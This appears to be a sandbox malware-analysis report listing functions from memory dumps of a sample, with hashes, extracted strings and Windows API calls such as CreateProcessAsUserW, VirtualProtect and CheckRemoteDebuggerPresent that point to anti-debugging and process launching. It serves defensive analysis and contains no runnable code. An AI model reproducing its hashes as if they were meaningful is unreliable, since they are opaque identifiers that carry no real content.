Instruction Fuzzy Hash: C971C178E10208DFDB44DFA5D59599EBFB2FF88301F20902AE40AAB394DB345946CF55

Function 06D0F15D Relevance: 3.4, Strings: 2, Instructions: 902COMMON

Download Yara Rule

Strings

Teiq, xrefs: 06D0F1B1
G, xrefs: 06D0FD08

Memory Dump Source

Source File: 00000000.00000002.2385866228.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: G$Teiq
API String ID: 0-244323017
Opcode ID: 1441f0184e6ea33e98b325dfe041857211db562e94cccfd609f4746cc1325f1f
Instruction ID: 7e227dff16e596fc80a75ed8811a070b6e5964a8fe067b1a4ed318045cc44b4c
Opcode Fuzzy Hash: 1441f0184e6ea33e98b325dfe041857211db562e94cccfd609f4746cc1325f1f
Instruction Fuzzy Hash: 91720130A183058FD715FB78DD58B5D7FB2EF86200F4585EAC488E72A9DA389C49CB61

Function 00A175A9 Relevance: 3.0, Strings: 2, Instructions: 516COMMON

Download Yara Rule

Strings

Hmq, xrefs: 00A179AE
(oiq, xrefs: 00A17AE2

Memory Dump Source

Source File: 00000000.00000002.2376261436.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: (oiq$Hmq
API String ID: 0-3937764413
Opcode ID: 4aa1cc0ca572ebe6073a291e77d7f73ae65ef63450f6e9f81ca481a9c495982e
Instruction ID: 340cf84821373568e329a34486ca9a7cdfc025a04ed91e1be1d44fe809e7a47b
Opcode Fuzzy Hash: 4aa1cc0ca572ebe6073a291e77d7f73ae65ef63450f6e9f81ca481a9c495982e
Instruction Fuzzy Hash: 51129070A042199FDB14DF69C854BAEBBB6FF88300F208569E445DB395DF349D85CB90

Function 077FDB18 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

Teiq, xrefs: 077FDD5A
Teiq, xrefs: 077FDB81

Memory Dump Source

Source File: 00000000.00000002.2387368395.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77f0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: Teiq$Teiq
API String ID: 0-585364711
Opcode ID: ab14b3c6dfa5e1d8b12458fc6ff63256912bcbfeebb17fb805d67afe242d1eee
Instruction ID: ab9640f4a29128bc0c9ce5f846a4a8f35b154c3d2467c18237de880c19ccd585
Opcode Fuzzy Hash: ab14b3c6dfa5e1d8b12458fc6ff63256912bcbfeebb17fb805d67afe242d1eee
Instruction Fuzzy Hash: 6691E2B0E142099FCB08CFAAC994A9EFBB2FF89300F24942AD515BB354D7749906CF54

Function 08EA4060 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

$iq, xrefs: 08EA40F9
6f, xrefs: 08EA42D0

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: 6f$$iq
API String ID: 0-2737234785
Opcode ID: 2345de85ce3dfd37d1e3ddc925a7038f55bea3bf70632e2900af663f56894f24
Instruction ID: 694a1eed54b5c02eb5984b8faa17f6f947334d810380ee272ebc92b083eeafd5
Opcode Fuzzy Hash: 2345de85ce3dfd37d1e3ddc925a7038f55bea3bf70632e2900af663f56894f24
Instruction Fuzzy Hash: 4A71D478E10208DFDB44DFA5D59599EBFB2FF88301F20902AE406AB7A4DB345946CF51

Function 08EAB178 Relevance: 1.7, APIs: 1, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNELBASE(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 08EAB2E3

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 61b169b2eac258ef0955bcf30fec4a679cda02c9345afb81c591765451636ef0
Instruction ID: ca96ab1ab024eb2ec1af877b1222f70421bd4b7b19126624d5fb7c37c8a6ed36
Opcode Fuzzy Hash: 61b169b2eac258ef0955bcf30fec4a679cda02c9345afb81c591765451636ef0
Instruction Fuzzy Hash: B451F871D00229DFDB24CF99D840BDDBBB5BF88714F1480AAE908B7250DB75AA85CF90

Function 077FCF01 Relevance: 1.6, APIs: 1, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 077FCEBB

Memory Dump Source

Source File: 00000000.00000002.2387368395.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77f0000_pbCN4g6sN5.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8c38c396002546cb0443f73fac501682c4e3a6765e7ad42145293c8e7aca77b6
Instruction ID: 3117bfa0c25229cec19817854e4a6c0b69887ed8091c6a2a9c56825f311d6c95
Opcode Fuzzy Hash: 8c38c396002546cb0443f73fac501682c4e3a6765e7ad42145293c8e7aca77b6
Instruction Fuzzy Hash: 2841FBB1E006198FDB18DFAAD94479EFBF2AFC8310F14C0AAD508A7264DB345A45CF21

Function 06D0D45B Relevance: 1.6, Strings: 1, Instructions: 328COMMON

Download Yara Rule

Strings

Xmq, xrefs: 06D0D477

Memory Dump Source

Source File: 00000000.00000002.2385866228.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: Xmq
API String ID: 0-2220694776
Opcode ID: c5f44ac1cd89c9f0f06c304b073848e0e354e5dd999040a8134735a36bf786bf
Instruction ID: b485c1ba40aa92cbbca8291aa8dd796f409232588b033549d1e5f3d2b52e8eb4
Opcode Fuzzy Hash: c5f44ac1cd89c9f0f06c304b073848e0e354e5dd999040a8134735a36bf786bf
Instruction Fuzzy Hash: ECB19670F04215CFFBA41FAA894433A7AA7AFC0B11F68591FD8969B2D4CE34C841DB95

Function 00A1B51C Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(00000000,?), ref: 00A1D92F

Memory Dump Source

Source File: 00000000.00000002.2376261436.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_pbCN4g6sN5.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 934a41a5bc86a8b78cf669b2e6737a766765d71c51976e30a9ec2dd54f7a1ba8
Instruction ID: 38217bc749ff8814eeafd56f1335b398f38017e737b2b51fc5f6b670fc3a5ae5
Opcode Fuzzy Hash: 934a41a5bc86a8b78cf669b2e6737a766765d71c51976e30a9ec2dd54f7a1ba8
Instruction Fuzzy Hash: 3D2136B18002598FDB10CF9AC444BEEBBF4EF49320F14846AE855B7251D778A944CFA4

Function 0764F453 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

kQD, xrefs: 0764F6F0

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: kQD
API String ID: 0-3066535408
Opcode ID: 25ee5be8c389b999c54f7c0d0de422b48b719adcaaaae8c76779d28eaa446df6
Instruction ID: 7b04183a14d92bc83618a53505475bbd63d691deafa42ad46f8f6dea0d6c115b
Opcode Fuzzy Hash: 25ee5be8c389b999c54f7c0d0de422b48b719adcaaaae8c76779d28eaa446df6
Instruction Fuzzy Hash: AAC129B4D1020ADFDB04CFA9D5818AEFBB2FF89310F199556E406A7215DB34AA47CF90

Function 0764F418 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

kQD, xrefs: 0764F6F0

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: kQD
API String ID: 0-3066535408
Opcode ID: d0c48b4569b82e2bb5247c35ec61e18d2c5c709019638449292b1d3eeacaa431
Instruction ID: 4e9dc467129f3e5c80cac0b8a47b91d1c820d8ed048df36015c700395532457d
Opcode Fuzzy Hash: d0c48b4569b82e2bb5247c35ec61e18d2c5c709019638449292b1d3eeacaa431
Instruction Fuzzy Hash: 03C127B4D14209DFCB04CF99D5808EEFBB2FF89310F19A556D406AB215DB34AA86CF94

Function 0764F43E Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

kQD, xrefs: 0764F6F0

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: kQD
API String ID: 0-3066535408
Opcode ID: 2ea667f973e475032fe31624e3f7501445ed4c21e46b2f96c9b4e078ed089659
Instruction ID: 526bdad6a74be0972e791207beb4b5c59247b82572f58fafc7d0fd460ff45253
Opcode Fuzzy Hash: 2ea667f973e475032fe31624e3f7501445ed4c21e46b2f96c9b4e078ed089659
Instruction Fuzzy Hash: 11B118B4D20209DFDB04CFA9D4818AEFBB2FF89310B19A556D416A7215DB34AA47CF90

Function 077FBE60 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

<, xrefs: 077FBF95

Memory Dump Source

Source File: 00000000.00000002.2387368395.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77f0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: ccc5c4e0a28f1c34f7b7df87f69d65ae871c3447afa99774497339a70995bbb1
Instruction ID: aec80fd0e859f87713e1de1a6ecdb862a30446c3c569381892bbf63e5c930da1
Opcode Fuzzy Hash: ccc5c4e0a28f1c34f7b7df87f69d65ae871c3447afa99774497339a70995bbb1
Instruction Fuzzy Hash: 805196B5E016588FDB58CFAAC9446DDBBF2AFC9301F14C0AAD509AB364DB345A85CF40

Function 05A12488 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385320229.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a10000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7cc40faade943d09b903e1477a5c4d5b40edf3bf2aa22adec4313a55da36e01
Instruction ID: cee6b7e639013d1f33e1ebbf814b3e2ad673257c0a295a46d549cceeec4f581d
Opcode Fuzzy Hash: f7cc40faade943d09b903e1477a5c4d5b40edf3bf2aa22adec4313a55da36e01
Instruction Fuzzy Hash: 12525A34A003458FCB14DF68C944B99B7B2FF89314F2582A9D5586F3A2DB71AD86CF81

Function 05A12458 Relevance: .6, Instructions: 595COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385320229.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a10000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f08a1be0745c447e7d4bf0b5fd9f497b3b95ecc032462faaf61cf7adc918d95
Instruction ID: 51d52f44c142a2bedff950a71101270a078b7b48e59880c0045615bfc684efcb
Opcode Fuzzy Hash: 3f08a1be0745c447e7d4bf0b5fd9f497b3b95ecc032462faaf61cf7adc918d95
Instruction Fuzzy Hash: 19527B34A007558FCB10DF68C944B99B7F2FF89314F2582A9D5586F3A2DB71A986CF80

Function 08EA6291 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5995bbe4134cec057829287951491ae81aaa867b72a83b10c849a04caabf980d
Instruction ID: 3f5852b6ebb768719f529be2b5a712836fb7e62ac98d3b09d066547c170d1c54
Opcode Fuzzy Hash: 5995bbe4134cec057829287951491ae81aaa867b72a83b10c849a04caabf980d
Instruction Fuzzy Hash: C8F13C74E116698FCB14CF25C954B9DFBB6BF89700F1495EAD40EAB264D730AA86CF00

Function 08EA5B40 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f18cabf034071b46a297d7775823dd5180672acba8ec0d8bf9a468332649f4a4
Instruction ID: cf19b8f3ecf11c75e13963b7e928efc1a29d87e2bc2bc2ffe30d3b164a679cfa
Opcode Fuzzy Hash: f18cabf034071b46a297d7775823dd5180672acba8ec0d8bf9a468332649f4a4
Instruction Fuzzy Hash: FF611675D10219DFCB44CFE5D9486EEBBB1FF88702F10A82AE412AB254DB746A42CF51

Function 08EA5B2F Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3ad6694f7a182341601711b263bd53fda33486568ee281745ea74d83503d227
Instruction ID: 70e560945208e86a48b6aaff360e39b25beaee9ec9a577893073b2ba3b8e524d
Opcode Fuzzy Hash: c3ad6694f7a182341601711b263bd53fda33486568ee281745ea74d83503d227
Instruction Fuzzy Hash: E4615B75D14219DFCB44CFE4D9486EEBBB1FF89302F14A82AD412AB254DB746A02CF50

Function 0764E5D0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d0034de5d72e8391517d5a63464a223737f0b98357014eabede33bd528a2e29
Instruction ID: db1493f7b3b974a6a36f081c4f22cfd3bb7db0cf03007083ac405cbeec68a372
Opcode Fuzzy Hash: 7d0034de5d72e8391517d5a63464a223737f0b98357014eabede33bd528a2e29
Instruction Fuzzy Hash: 1D510AB4D11218CFDB18CFA6D9846DEBBB2BF89310F1480A9D50A77354DB356A86CF50

Function 0764E5C0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0019dc535c9bc59a2fb50febf6e221a9a86b2fa76116067a78aa92dfc6314401
Instruction ID: 99a6e5adf51834dda70070f869067c53aa54e0c241eb9289e1229ce6164febd5
Opcode Fuzzy Hash: 0019dc535c9bc59a2fb50febf6e221a9a86b2fa76116067a78aa92dfc6314401
Instruction Fuzzy Hash: 704169B4D112588FDB18CFA6C8846CEBBF2BF88300F14C4AAD40AB7254DB355A86CF50

Function 08EA0D40 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2387833181.0000000008EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ea0000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a581bea6d14b1634dc5cea46a5a871c17eaf1310a84700b357a4be1b6d1c47e2
Instruction ID: 66ff493db3563f91b1b4a4ad25524d5d23c832db6e71494429cc86ec472e1630
Opcode Fuzzy Hash: a581bea6d14b1634dc5cea46a5a871c17eaf1310a84700b357a4be1b6d1c47e2
Instruction Fuzzy Hash: 4521B971E016189BEB58CF6BD9406DEFBF7AFC8200F04D1BAD508A6264EB341A468F51

Function 0587AA0A Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0587AA96
GetCurrentThread.KERNEL32 ref: 0587AAD3
GetCurrentProcess.KERNEL32 ref: 0587AB10
GetCurrentThreadId.KERNEL32 ref: 0587AB69

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f2c27cc964c296b41da1863111daf0250ec4892efa3802bda7478d6261ae2c73
Instruction ID: 779c5f9272d26536f9d88f1bda81994baf5e7871c78df1f192fde923e0462c7a
Opcode Fuzzy Hash: f2c27cc964c296b41da1863111daf0250ec4892efa3802bda7478d6261ae2c73
Instruction Fuzzy Hash: 155167B09002498FDB44DFAAD548BDEBBF1EF88314F208059E449A72A0D735A984CF65

Function 0587AA18 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0587AA96
GetCurrentThread.KERNEL32 ref: 0587AAD3
GetCurrentProcess.KERNEL32 ref: 0587AB10
GetCurrentThreadId.KERNEL32 ref: 0587AB69

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6d421e1359b23444a85e0f2cb416212ab149bcfdd62d27429e40270b49701836
Instruction ID: d7f20460930c325fe7cc00847b13eebb7b3ef0a7cd4e7004a24313f21234c88c
Opcode Fuzzy Hash: 6d421e1359b23444a85e0f2cb416212ab149bcfdd62d27429e40270b49701836
Instruction Fuzzy Hash: 5C5146B09006098FEB54DFAAD548BDEBBF1EF88314F20C459E409A72A0D735A984CF65

Function 07640B70 Relevance: 4.0, Strings: 3, Instructions: 245COMMON

Download Yara Rule

Strings

(mq, xrefs: 07640D15
(mq, xrefs: 07640D87
(mq, xrefs: 07640CE9

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: (mq$(mq$(mq
API String ID: 0-2000372054
Opcode ID: 305a3e3335e48b0d9e2ab296bacb2d946663f515b1ab135468b52fb861d0d98a
Instruction ID: 3d2b1da82f961a45c24d74cc9dfa47b8086afba02804d758e79e7e11ca31a252
Opcode Fuzzy Hash: 305a3e3335e48b0d9e2ab296bacb2d946663f515b1ab135468b52fb861d0d98a
Instruction Fuzzy Hash: 72A1ACB0A00319DFDB14DFA9C44479DBBF1FF89310F2485AAE409AB391DB70A985CB91

Function 07641150 Relevance: 2.9, Strings: 2, Instructions: 401COMMON

Download Yara Rule

Strings

Hmq, xrefs: 07641208
Hmq, xrefs: 07641291

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: Hmq$Hmq
API String ID: 0-2783791011
Opcode ID: 4c7c2190bdd5f6ba85745aaff28a5f4a4aa234727892c843dd35f0191035dabb
Instruction ID: c7f3628c2ae6e53120ad1670b1427e9d5af713c623021b197d0d334a51db9664
Opcode Fuzzy Hash: 4c7c2190bdd5f6ba85745aaff28a5f4a4aa234727892c843dd35f0191035dabb
Instruction Fuzzy Hash: 44D10270B142189BCB09FBB8D95956E7BFAEFCA200F44496AD446E7398DF389C05C361

Function 07642283 Relevance: 2.6, Strings: 2, Instructions: 61COMMON

Download Yara Rule

Strings

TJnq, xrefs: 076422CC
Teiq, xrefs: 076422B7

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: TJnq$Teiq
API String ID: 0-3339893395
Opcode ID: e025e3c745bca69b83d8742ecb84c547ac8dc497ad736b118dfbc65fa73dd3fc
Instruction ID: f24ebe23ad0885418cd052b53b53a976c5e78b5cbfc5fdd0b994b3a082384146
Opcode Fuzzy Hash: e025e3c745bca69b83d8742ecb84c547ac8dc497ad736b118dfbc65fa73dd3fc
Instruction Fuzzy Hash: 8E11C6713082514FC7066B38996496E3BE6AFC7210B1940DAE506CF3A7CE248C06C7A6

Function 076422B0 Relevance: 2.5, Strings: 2, Instructions: 43COMMON

Download Yara Rule

Strings

TJnq, xrefs: 076422CC
Teiq, xrefs: 076422B7

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: TJnq$Teiq
API String ID: 0-3339893395
Opcode ID: 4c3550c0c99dde27c1b8821f4385bccbbcd0d0ceb7adff16f2dcaa5e7b85f6d6
Instruction ID: 05e8767b725e3e38df7c1db6d6b8263b5f96b41545620414a81e0d002a82dc48
Opcode Fuzzy Hash: 4c3550c0c99dde27c1b8821f4385bccbbcd0d0ceb7adff16f2dcaa5e7b85f6d6
Instruction Fuzzy Hash: 23F062323000115FCA44A77DA55897E76EBAFC9620715405DF50ACB3A5CE65DC064795

Function 0764C245 Relevance: 1.9, Strings: 1, Instructions: 637COMMON

Download Yara Rule

Strings

hq, xrefs: 0764C248

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: hq
API String ID: 0-1847014553
Opcode ID: c7950adc31ca87bdbaec8c8f2ae106175f338d7ca5f8b5cdb94c9c57fd061df9
Instruction ID: 47527aba5c78a62b9e9706a97025f3ceafe284a2e902e92742345ce6560336a0
Opcode Fuzzy Hash: c7950adc31ca87bdbaec8c8f2ae106175f338d7ca5f8b5cdb94c9c57fd061df9
Instruction Fuzzy Hash: A3E1C170B152048FCB04FBB8D69966E7BF6EB89210F804579D446E73A8DF38AD05C761

Function 07641971 Relevance: 1.8, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

Teiq, xrefs: 07641E8E

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: Teiq
API String ID: 0-3087720294
Opcode ID: 755358af725a8ebdfd0de77bf3943fbc2f92d7d6a85896408c5954d4da1673c1
Instruction ID: cfda98edee6475319a1c8bdd0b160ceebba6af5c787a95665f5eb558f4b541f7
Opcode Fuzzy Hash: 755358af725a8ebdfd0de77bf3943fbc2f92d7d6a85896408c5954d4da1673c1
Instruction Fuzzy Hash: 35124E74B242048FCB04FFB9D69966E7BB6FB88200FA0453DE445A7369DE38AD05CB51

Function 07641980 Relevance: 1.8, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

Teiq, xrefs: 07641E8E

Memory Dump Source

Source File: 00000000.00000002.2387274782.0000000007640000.00000040.00000800.00020000.00000000.sdmp, Offset: 07640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7640000_pbCN4g6sN5.jbxd

Similarity

API ID:
String ID: Teiq
API String ID: 0-3087720294
Opcode ID: bfe86b84dfb4cb54b8d94f58397e804de08cc052d63ff7beb09be91978158053
Instruction ID: ac2d741be1f59b82adb8b25a271b8bf2b65f41a38c3b430dedfe789875860ded
Opcode Fuzzy Hash: bfe86b84dfb4cb54b8d94f58397e804de08cc052d63ff7beb09be91978158053
Instruction Fuzzy Hash: 98024D74B242048FCB04FFB9D69966E7BB6FB88200FA04539E445A7369DE38AD05CB51

Function 05878388 Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 058785DE

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 98ff89a1feccf93c6cb2666e0952ed344eed230de960ededaebfea22e30c24d5
Instruction ID: 19d0093d21d2bf7c417d4fccb615508c48c7953cd177ca136e16dea9663a978f
Opcode Fuzzy Hash: 98ff89a1feccf93c6cb2666e0952ed344eed230de960ededaebfea22e30c24d5
Instruction Fuzzy Hash: 47812570A00B098FD724DF29D448B5ABBF2FF88304F108929D88AD7A50D775E94ACF91

Function 06D09D1D Relevance: 1.6, APIs: 1, Instructions: 144fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 06D09E30

Memory Dump Source

Source File: 00000000.00000002.2385866228.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_pbCN4g6sN5.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 15afad2fee2574000312d5eaf7c3e961f266768e463bd6a5d94ba7b1b7b5c65c
Instruction ID: 23f055ac2af1e2da0231e30f0aedb7743dbe3fb58900d9e2df4f4abd919cf15d
Opcode Fuzzy Hash: 15afad2fee2574000312d5eaf7c3e961f266768e463bd6a5d94ba7b1b7b5c65c
Instruction Fuzzy Hash: 8C518E7190D3C58FD752CB69C864799BFB0AF07224F1A41DBC495DB2E3D6385809CBA2

Function 0587EC64 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0587ED82

Memory Dump Source

Source File: 00000000.00000002.2384785521.0000000005870000.00000040.00000800.00020000.00000000.sdmp, Offset: 05870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5870000_pbCN4g6sN5.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8f0327601843b606b99e4afe5cd72f081d16cc701b303f8e23a51f1367c9d9f4
Instruction ID: 9d0100e0861c15bee3445373b90bed720fa1b1855bc2e163bb67fd1abc260f7b
Opcode Fuzzy Hash: 8f0327601843b606b99e4afe5cd72f081d16cc701b303f8e23a51f1367c9d9f4
Instruction Fuzzy Hash: A351BFB1C00209AFDF15CFA9C984ADEBFB6FF48314F15816AE919AB220D7719951CF90

Function 077FCE23 Relevance: 1.6, APIs: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 077FCEBB

Memory Dump Source

Source File: 00000000.00000002.2387368395.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77f0000_pbCN4g6sN5.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 583d843afd6610386b307ab45dd7a5a0a2765735986325558213c75a03d84212
Instruction ID: e3ea666479caaf54cc034b6e5b03652cb7653e7387cc93bf8d5ff5ee084a9b20
Opcode Fuzzy Hash: 583d843afd6610386b307ab45dd7a5a0a2765735986325558213c75a03d84212
